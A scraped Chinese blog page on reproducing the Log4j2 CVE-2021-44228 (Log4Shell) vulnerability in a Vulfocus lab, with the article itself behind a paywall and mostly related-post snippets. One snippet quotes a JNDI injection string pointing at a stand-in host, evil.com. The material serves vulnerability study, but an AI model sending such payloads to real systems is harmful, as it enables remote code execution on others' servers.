log4j2 CVE-2021-44228漏洞复现

已于 2022-08-12 09:07:44 修改
阅读量881 收藏 1
点赞数
分类专栏： 漏洞复现 vulfocus log4j2 文章标签： log4j 安全
于 2022-08-10 11:26:50 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_14902381/article/details/126262915
版权
本文详细介绍了Log4j2的CVE-2021-44228漏洞，通过分析Log4j2与Log4j的区别，解释了JNDI Lookup的工作原理。利用Vulfocus靶场，展示了如何检测漏洞存在、构造payload并成功反弹shell，以此验证漏洞利用过程。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

Log4j2是对log4j修改后的java日志框架，漏洞影响版本2.0-beta9到2.15.0。

用的是log4j还是log4j2区分：

1>.Log4j2分为2个jar包

最低0.47元/天 解锁文章
log4j2漏洞复现(CVE-2021-44228)
weixin_45585955的博客
05-11 7590
一、原理介绍 由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。 二、vulfocus靶场安装 docker pull vulfocus/vulfocus:latest docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.16..
vulhub复现CVE-2021-44228log4j漏洞
weixin_48878440的博客
12-12 1141
vulhub复现cve-2021-44228 log4j漏洞
Log4j2漏洞复现（CVE-2021-44228）
热门推荐
qq_43798640的博客
12-15 3万+
Apache Log4j是一个基于Java的日志记录组件，通过重写Log4j引入了丰富的功能特性，该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。Apache Log4j2存在远程代码执行漏洞，攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。影响范围：Apache Log4j 2.x<=2.14.1。已知受影响的应用及组件，如 spring-boot-strater-log4...
CVE-2021-44228Log4j2远程代码执行漏洞复现
最新发布
hcja666的博客
03-12 743
Log4j2（Log for Java） 是apache基金会的一个用于 Java 应用程序的成熟且功能强大的日志记录框架。其作用主要体现在能帮助开发者方便地记录程序运行中的各种信息，如调试信息、业务操作记录、错误信息等，便于快速定位和解决问题，同时也有助于对系统运行状况进行监控和分析。
【漏洞复现】log4j2 CVE-2021-44228
zg_111的博客
03-20 2660
【漏洞复现】log4j2 CVE-2021-44228漏洞复现
CVE-2021-44228漏洞复现
m0_65764670的博客
05-29 3063
此漏洞为log4j2漏洞，log4j2是java语言的日志处理套件，使用很广泛。在2.0到2.14.1版本中存在JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似'${jndi:ldap://evil.com/example}'​的参数进行JNDI注入，执行任意代码（注：Java环境1.8也可能会存在）什么是JNDI?
Log4j2—CVE-2021-44228漏洞复现
oiadkt的博客
04-10 586
Log4j2—CVE-2021-44228漏洞复现
log4j 漏洞CVE-2021-44228 漏洞复现
kyliuw的博客
03-08 6234
log4j 漏洞CVE-2021-44228 漏洞复现
log4j漏洞复现（CVE-2021-44228）
qq_42699326的博客
11-26 918
Log4j 2 是 Apache 基金会开发的一个广泛使用的 Java 日志记录库。CVE-2021-44228 是一个严重的远程代码执行（RCE）漏洞，也被称为 Log4Shell。该漏洞允许攻击者通过构造特定的日志消息来远程执行任意代码。
log4j2-rce-cve-2021-44228 漏洞复现
weicanh的博客
04-29 316
从 log4j 2.15.0 开始，默认情况下已禁用此行为。从版本 2.16.0（以及 2.12.2、2.12.3 和 2.3.1）开始，此功能已被完全删除。
Log4j 远程代码执行漏洞解析（CVE-2021-44228）复现
zkaqlaoniao的博客
12-23 635
Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本，相比于 Log4j，Log4j2 在性能、可靠性和灵活性方面都有显著的改进。log4j支持JNDI协议。Apache Log4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。
Apache Log4j2远程代码执行漏洞（CVE-2021-44228）复现
qq_40640917的博客
01-10 2638
Apache Log4j2 存在远程代码执行漏洞，该漏洞是由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。Apache Log4j2是一个开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中。攻击机参数：Kali（或安装有msfconsole的任意Linux/Windows操作系统）靶机容器：vulfocus/log4j2-rce-2021-12-09。靶机参数：Centos8.1。
【vulhub】Log4j2：CVE-2021-44228漏洞复现
weixin_49422491的博客
09-13 3745
【vulhub】Log4j2：CVE-2021-44228漏洞复现
CVE-2021-44228——Log4j2-RCE漏洞复现
Li-D的博客
06-10 1902
Apache Log4j2是一个Java的日志组件，在特定的版本中由于其启用了lookup功能，从而导致产生远程代码执行漏洞。
Log4j 2 (CVE-2021-44228)漏洞复现
Pluto.的博客
11-21 659
Log4j 2 (CVE-2021-44228)漏洞复现
Log4j2远程代码执行漏洞(cve-2021-44228)复现
citytwilight的博客
05-22 2902
Log4j2远程代码执行漏洞(cve-2021-44228)复现(反弹shell)
CVE-2021-44228：log4j2漏洞复现
fainpo的博客
05-07 356
漏洞适用版本：2.0 <= Apache log4j2 <= 2.14.1。
log4j2漏洞复现 (CVE-2021-44228)
m0_59958467的博客
10-29 1026
log4j2漏洞复现 (CVE-2021-44228)
cve-2021-44228漏洞复现分析
03-03
### CVE-2021-44228 漏洞复现分析 #### Log4j 的介绍 Log4j 是一个广泛使用的Java日志记录库，由Apache软件基金会开发。该库允许开发者通过配置文件灵活控制日志信息的格式、级别以及输出位置。 #### 漏洞概述 CVE...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值